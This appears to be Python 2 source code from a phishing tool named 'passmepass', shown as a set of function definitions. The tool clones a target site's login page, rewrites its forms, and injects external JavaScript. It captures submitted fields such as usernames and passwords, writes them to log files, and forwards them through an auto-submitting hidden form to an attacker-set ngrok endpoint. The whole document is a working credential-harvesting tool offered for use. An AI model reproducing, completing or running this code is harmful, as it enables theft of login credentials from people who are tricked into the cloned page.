def shell_noint(profile_file): global url global port global ngrok global userAgent global html global exjs global files try: url = profile_getkey(profile_file, "url") ngrok = profile_getkey(profile_file, "ngrok") port = int(profile_getkey(profile_file, "port")) userAgent = profile_getkey(profile_file, "userAgent") html = profile_getkey(profile_file, "html") exjs = profile_getkey(profile_file, "exjs") print_startup() s = passmepass(url, port) s.clone() s.serve() except ValueError: printf(1, "Error: your profile file looks bad.") except KeyboardInterrupt: s = passmepass(url, port) s.cleanup() print("\nInterrupt ...") except IndexError: if prompt[0] == "help" or prompt[0] == "?": helpp() else: printtf(1, "Error: please provide option for \'%s\'." % prompt[0]) except Exception as e: printf(1, "3rror:(%s)" % (str(e)))
def cleanup(self): if os.path.exists("index.html"): printf(1, "\n[i] Running cleanup ...") os.remove("index.html") if os.path.exists("redirect.html"): os.remove("redirect.html")
def py_version(): if sys.version_info.major == 2: pass elif sys.version_info.major == 3: printf(1, "passmepass has no support for python3.") else: printf(1, "your python version is very old........")
def create_post(url,ngrok,post_request): printf(1,"Creat!ng h+ml....") with open("redirect.html","w") as re: re.write("<body><form id=\"firefox\" action=\"%s\" method=\"post\" >\n" %ngrok) for post in post_request: key,value = post.split() re.write("<input name=\"%s\" value=\"%s\" type=\"hidden\" >\n" %(key,value)) re.write("<input name=\"login\" type=\"hidden\">") re.write("<script type=\"text/javascript\">document.forms[\"firefox\"].submit();</script>") re.close()
def clone(self): from core.main import html from core.main import exjs from core.main import files if not html: printf(1, "Try!Ng +o get %s ..."%self.url) printf(1,"Down10ading webpage......") data = self.request(self.url) else: printf(1, "Loading \'%s\' ..." %html) data = open(html, "r").read() data = bs(data, "html.parser") printf(1, "Modifying the HTML file ...") for tag in data.find_all("form"): tag['method'] = "post" tag['action'] = "redirect.html" for tag in data.find_all("a"): pass script = data.new_tag('script', src=exjs) data.html.head.insert(len(data.html.head), script) with open("index.html", "w") as index: index.write(data.prettify().encode('utf-8')) index.close()
def do_POST(self): post_request = [] printf(1, "%s - sent POST request." %self.address_string()) form = cgi.FieldStorage(self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'],}) try: from core.main import url log = open("%s.log" %url.replace("https://", "").replace("http://", "").split("/")[0], "a") log.write("\n## %s - Data %s\n\n" %(time.strftime("%H:%M:%S - %d/%m/%y"), url)) for tag in form.list: tmp = str(tag).split("(")[1] key,value = tmp.replace(")", "").replace("\'", "").replace(",", "").split() post_request.append("%s %s" %(key,value)) printf(1, "%s => %s" %(key,value)) log.write("%s => %s\n" %(key,value)) log.close() from core.main import ngrok create_post(url,ngrok, post_request) SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) except socerr as e: printf(1, "%s ignoring ..." %str(e)) except Exception as e: printf(1, "%s ignoring ..." %str(e))
def platform(): import sys if sys.platform.startswith('linux'): printf(2, "Running passmepass on linux ... (All good)") elif sys.platform.startswith('darwin'): printf(2, "Running passmepass on \'Mac\' (Not tested)") elif sys.platform.startswith('win32'): printf(2, "Running passmepass on \'Windows\' (Not tested)") else: printf( 2, "If \'passmepass\' runs sucsessfuly on your platform %s\nPlease contact me twitter! @1ibr4" % sys.platform)
def log_message(self, format, *args): arg = format%args if arg.split()[1] == "/": printf(1, "%s - sent GET request without parameters." %self.address_string()) else: if arg.split()[1].startswith("/") and "&" in arg.split()[1]: printf(1, "%s - sent GET request with parameters." %self.address_string()) printf(1, "%s" %arg.split()[1])
def shell(): global url global ngrok global port global files global userAgent global html global exjs logoo() if os.path.exists("memory.log"): if os.stat("memory.log").st_size == 0: memory = open("memory.log", "w") else: memory = open("memory.log", "a") else: memory = open("memory.log", "w") while True: try: complete(array) sw = raw_input("passmepass >>>") or "help" prompt = sw.split() if not prompt: continue elif prompt[0] == "clear": logoo() elif prompt[0] == "quit" or prompt[0] == "q": printf(1, ".........") time.sleep(0.5) printf(1, "passmepass.....sleep") break elif prompt[0] == "help" or prompt[0] == "?": helpp() elif prompt[0] == "show": sys.stdout.write("\033[37m\t") print("-" * 18) print("\turl : %s " % url) print("\tport : %d " % (port)) print("\tngrok url : %s " % (ngrok)) print("\tuser_agent : %s " % (userAgent)) print("\thtml_file : %s " % (html)) print("\texternal_js : %s " % (exjs)) sys.stdout.write("\t") print("-" * 18) sys.stdout.write("\033[00m") elif prompt[0] == "url": url = str(prompt[1]) memory.write("url = %s\n" % url) elif prompt[0] == "ngrok": ngrok = str(prompt[1]) memory.write("ngrok = %s\n" % ngrok) elif prompt[0] == "port": port = int(prompt[1]) if port == 80 and os.getuid() != 0: printf(1, "if you want use port 80. please run root") memory.write("port = %s\n" % port) ##your file code Phishing fail fail fail.................... #elif prompt[0] == "file" or prompt[0] == "f": # files = str(prompt[1]) # if os.path.exists(files): # f = open(files) # html = f.read() # f.close() # printf(1,'file saved in html') # else: # printf(1,'filename not found') elif prompt[0] == "run": if not url and not html: printf(1, "3rror:please set \"url\".") elif not ngrok: printf(1, "3rror:please set \"ngrok\".") else: s = passmepass(url, port) s.clone() s.serve() elif prompt[0] == "logo" or prompt[0] == "banner": logoo() else: printf(1, "3rror: not found command\'%s\'." % prompt[0]) except KeyboardInterrupt: s = passmepass(url, port) s.cleanup() print("\n%s" % fish) except IndexError: if prompt[0] == "help" or prompt[0] == "?": helpp() else: printf(1, "Error: please provide option for \'%s\'." % prompt[0]) except Exception as e: printf(1, "Error: (%s)" % (str(e)))